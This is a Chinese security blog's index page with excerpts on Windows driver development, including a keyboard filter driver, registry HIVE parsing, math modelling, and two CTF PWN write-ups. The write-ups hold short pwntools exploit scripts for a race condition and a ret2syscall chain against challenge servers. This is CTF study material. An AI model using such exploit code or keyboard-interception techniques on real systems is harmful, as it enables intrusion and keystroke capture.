avatar
文章
319
标签
29
分类
0

Home
Archives
Tags
Categories
List
  • Music
  • Movie
Link
About
The Blog of Monoceros406
搜索
Home
Archives
Tags
Categories
List
  • Music
  • Movie
Link
About

The Blog of Monoceros406

Windows驱动开发入门-键盘过滤驱动
发表于2024-05-20|Win驱动开发
Windows驱动开发入门-键盘过滤驱动碎碎念PDO是设备栈最下面的那个物理设备对象。 csrss.exe的进程有个线程叫做win32!RawInputThread,它通过一个GUID叫GUID_CLASS_KEYBOARD获得键盘设备栈PDO符号链接名。应用程序不能通过设备名字打开设备,一般通过符号链接名来打开。win32k!RawInputThread执行到win32k!OpenDevice,一个参数能找到键盘设备栈的PDO符号链接名。win32!OpenDevice有个OBJECT_ATTRIBUTES结构局部变量,它自己初始化这个局部变量,用传入参数中的符号链接名赋值OBJECT_ATTRIBUTES+0x8处的PUNICODE_STRING ObjectName。然后调用ZwCreateFile打开设备得到句柄。 ZwCreateFile通过系统服务,调用内核NtCreateFile,执行到nt!IopParseDevice调用nt!IoGetAttachedDevice,通过PDO获得键盘设备栈最顶端的设备对象,该对象+30 char StackSize作为参数调用IoAl ...
Windows驱动开发入门-串口过滤驱动
发表于2024-05-14|Win驱动开发
Windows驱动开发入门-串口过滤驱动设备绑定IoAttachDevice把一个物理设备与一个设备对象绑定。 12345678NTSTATUS IoAttachDevice( IN PDEIVE_OBJECT SourceDevice, //用来过滤的虚拟设备 IN PUNICODE_STRING TargetDevice, //要绑定的目标设备 例如\Device\Serial0以此类推 OUT PDEVICE_OBJECT *AttachedDevice //返回被绑定的设备指针) IoAttachDeviceToDeviceStackSafe上面那个API没法绑定没名字的设备,这个根据设备对象指针绑定。 12345678NTSTATUS IoAttachDeviceToDeviceStackSafe( IN PDEVICE_OBJECT SourceDevice, //过滤设备 IN PDEVICE_OBJECT TargetDevice, //要被绑定的设备栈中设备 IN OUT PDEVICE_OBJECT ...
手把手教你手撕HIVE文件
发表于2024-05-14|Win内核安全
手把手教你手撕HIVE文件介绍HIVE文件在HKLM\SYSTEM\CurrentControlSet\Control\hivelist下键值给出,这里以C:\Windows\System32\config\SOFTWARE为例。 常用数据结构header总长度为$4096$字节,重要信息: 偏移量 长度(字节) 描述 0x00 4 签名“regf” 0x0C 8 最后一次写入数据时间戳 UTC1601-1-1至今100纳秒间隔数 0x14 4 主版本号 0x18 4 次版本号 0x24 4 RootCell偏移量 0x28 4 HIVE文件长度 不包含表头和结尾附加数据 0x30 HIVE文件名 Unicode字符串 hbin cellsheader后紧接着就是这个。重要信息: 偏移量 长度(字节) 描述 0x00 4 签名“hbin” 0x04 4 相对于第一个hbin偏移量 0x08 4 该hbin数据长度大小 node key(nk)重要信息: 偏移量 长度(字节) 描述 0x00 4 大小 负数已被 ...
Windows驱动开发入门-应用与内核通信
发表于2024-05-14|Win驱动开发
Windows驱动开发入门-应用与内核通信内核部分生成CDOIoCreateDevice内核想要与应用通信时,必须生成控制设备对象CDO。 12345678910111213141516NTSTATUS IoCreateDevice( IN PDRIVER_OBJECT DriverObject, //从DriverEntry参数获得 IN ULONG DeviceExtensionSize, //设备扩展大小 后面讲 IN OPTIONAL PUNICODE_STRING DeviceName, //设备名 可空但别 IN DEVICE_TYPE DeviceType, //设备类型 IN ULONG DeviceCharacteristics, //设备属性 IN BOOLEAN Exclusive, //是否为独占设备 OUT PDEVICE_OBJECT* DeviceObject //返回生成设备对象指针) IoCreateDeviceSecure上面那个有默认安全属性,必须得管理员权限应用 ...
Windows驱动开发入门-时间与线程
发表于2024-05-13|Win驱动开发
Windows驱动开发入门-时间与线程时间KeQueryTickCount返回自系统启动后经历的步进数,不同硬件环境不同。 123VOID KeQueryTickCount( OUT PLARGE_INTEGER TickCount) KeQueryTimeIncrement获取步进100纳秒数。 1ULONG KeQueryTimeIncrement() 例子获得系统启动后经历的毫秒数: 123456789VOID MyGetTickCount(PULONG msec) { LARGE_INTEGER tick_count = { 0 }; ULONG myinc = KeQueryTimeIncrement(); KeQueryTickCount(&tick_count); tick_count.QuadPart *= myinc; tick_count.QuadPart /= 10000; *msec = tick_count.LowPart; return;}; KeQuery ...
Windows驱动开发入门-注册表管理技术
发表于2024-05-12|Win驱动开发
Windows驱动开发入门-注册表管理技术创建注册表键ZwCreateKey创建一个新的注册表项或打开一个现有注册表项。 12345678910111213NTSTATUS ZwCreateKey( _Out_ PHANDLE KeyHandle, _In_ ACCESS_MASK DesiredAccess, //KEY_ALL_ACCESS所有访问权限 KEY_READ通用读权限 KEY_WRITE通用写权限 //KEY_QUERY_VALUE读键值 KEY_SET_VALUE取键值 KEY_CREATE_SUB_KEY生成子键 KEY_ENUMERATE_SUB_KEYS枚举子键 _In_ POBJECT_ATTRIBUTES ObjectAttributes, _Reserved_ ULONG TitleIndex, _In_opt_ PUNICODE_STRING Class, _In_ ULONG CreateOptions, //系统重启时注册表键不保留REG_OPTION_VOLATILE 保留REG_OPTION_ ...
数模竞赛-预测方法
发表于2024-05-10|数学建模
数模竞赛-预测方法灰色预测模型$\operatorname{GM}(1,1)$只适合具有较强指数规律的序列,$\operatorname{GM}(2,1)$、DGM和Verhulst模型适用于非单调摆动发展序列或有饱和S形序列。 $\operatorname{GM}(1,1)$预测方法$\operatorname{GM}(1,1)$预测模型定义: $1$阶微分方程,只含$1$个变量。 已知参考数列$\overrightarrow{x}^{(0)}=\left(x^{(0)}(1),x^{(0)}(2),\cdots,x^{(0)}(n)\right)$,$1$次累加生成序列1-AGO定义为$\overrightarrow{x}^{(1)}=\left(x^{(1)}(1),x^{(1)}(2),\cdots,x^{(1)}(n)\right)$,式中$\displaystyle x^{(1)}(k)=\sum_{i=1}^kx^{(0)}(i),1\leqslant k\leqslant n$,且$\overrightarrow{x}^{(1)} ...
数模竞赛-插值与拟合
发表于2024-05-10|数学建模
数模竞赛-插值与拟合插值方法待定系数法插值略。 拉格朗日插值例题1: 已知未知函数$y=f(x)$的$6$个观测点,求插值函数$y=\hat{f}(x)$,并求$x=1.5,2.6$处函数估计值。 代码: 1234567import numpy,scipyx0=numpy.arange(1,7)y0=numpy.array([16,18,21,17,15,12])p=scipy.interpolate.lagrange(x0,y0)print(numpy.round(p,4)) #高次幂到低次幂系数yh=numpy.polyval(p,[1.5,2.6])print(numpy.round(yh,4)) 牛顿插值略。 分段线性插值龙格震荡现象: 例题2:在区间$[-5,5]$上,用$n+1$个等距节点作多项式$P_n(x)$,使得它在节点处的值与函数$y=\dfrac{1}{1+x^2}$在对应节点处的值相等,考查$n=6,8,10$时,多项式次数与逼近误差的关系。 代码: 1234567891011121314151617impor ...
PWN入门-多线程竞争做题
发表于2024-05-10|PWN
PWN入门-多线程竞争做题[NISACTF 2022]shop_pwn函数sale和buy中都用pthread_create创建新线程,但只有to_sale函数中存在usleep可利用延时进行条件竞争。 连续两次快速卖出即可,实践证明加上recvuntil后时间就卡不进去。 12345678910from pwn import *context(os='linux',arch='amd64',log_level='debug')p=remote("node5.anna.nssctf.cn",28653)p.sendline(b'3')p.sendline(b'0')p.sendline(b'3')p.sendline(b'0')p.sendline(b'2')p.sendline(b'1')p.interactive()
PWN入门-ret2syscall做题
发表于2024-05-10|PWN
PWN入门-ret2syscall做题[CISCN 2023 初赛]烧烤摊儿x86下syscall的中断方法为int 0x80,x64下为syscall。 在x86下execve的系统调用号为0x0B,保存在eax,传参分别在ebx、ecx、edx。 在x64下execve的系统调用号为0x3B,保存在rax,传参分别在rdi、rsi、rdx。 这道题是x64。 至于钱不够可以买负数瓶啤酒。 1234567891011121314151617181920212223242526from pwn import *context(arch='amd64',os='linux',log_level='debug')p=remote('node4.anna.nssctf.cn',28543)elf=ELF('./attachment')rop=ROP(elf)p.recvuntil('> ')p.sendline(b'1')p.sendline(b& ...
1…101112…32
avatar
Monoceros406
Windows系统安全爱好者
文章
319
标签
29
分类
0
Follow Me
公告
哪里排版出锅了请告诉我QwQ QQ:1295625063
最新文章
Qt6开发入门-常用控件简介2025-05-11
Qt6开发入门-Qt框架综述2025-05-11
C++后端开发入门-环境配置与多线程编程2025-05-05
Qt6开发入门-环境配置与入门2025-05-05
差分隐私实践入门2025-05-03
标签
Win驱动开发 密码学 Python IoT 前端开发 PWN 漏洞复现 Misc 渗透测试 恶意代码 解题报告 AWD WinAPI GUI开发 算法 移动安全 后端开发 沙盒逃逸 逆向工程 取证 Web3 UEFI Web 编程语言 Win系统调试 OpenSSL 数学建模 其他 Win内核安全
归档
  • 五月 20255
  • 十二月 202413
  • 十一月 202412
  • 十月 202420
  • 九月 20243
  • 八月 20248
  • 七月 202413
  • 六月 20249
网站资讯
文章数目 :
319
已运行时间 :
本站访客数 :
本站总访问量 :
最后更新时间 :
©2020 - 2025 By Monoceros406
框架 Hexo|主题 Butterfly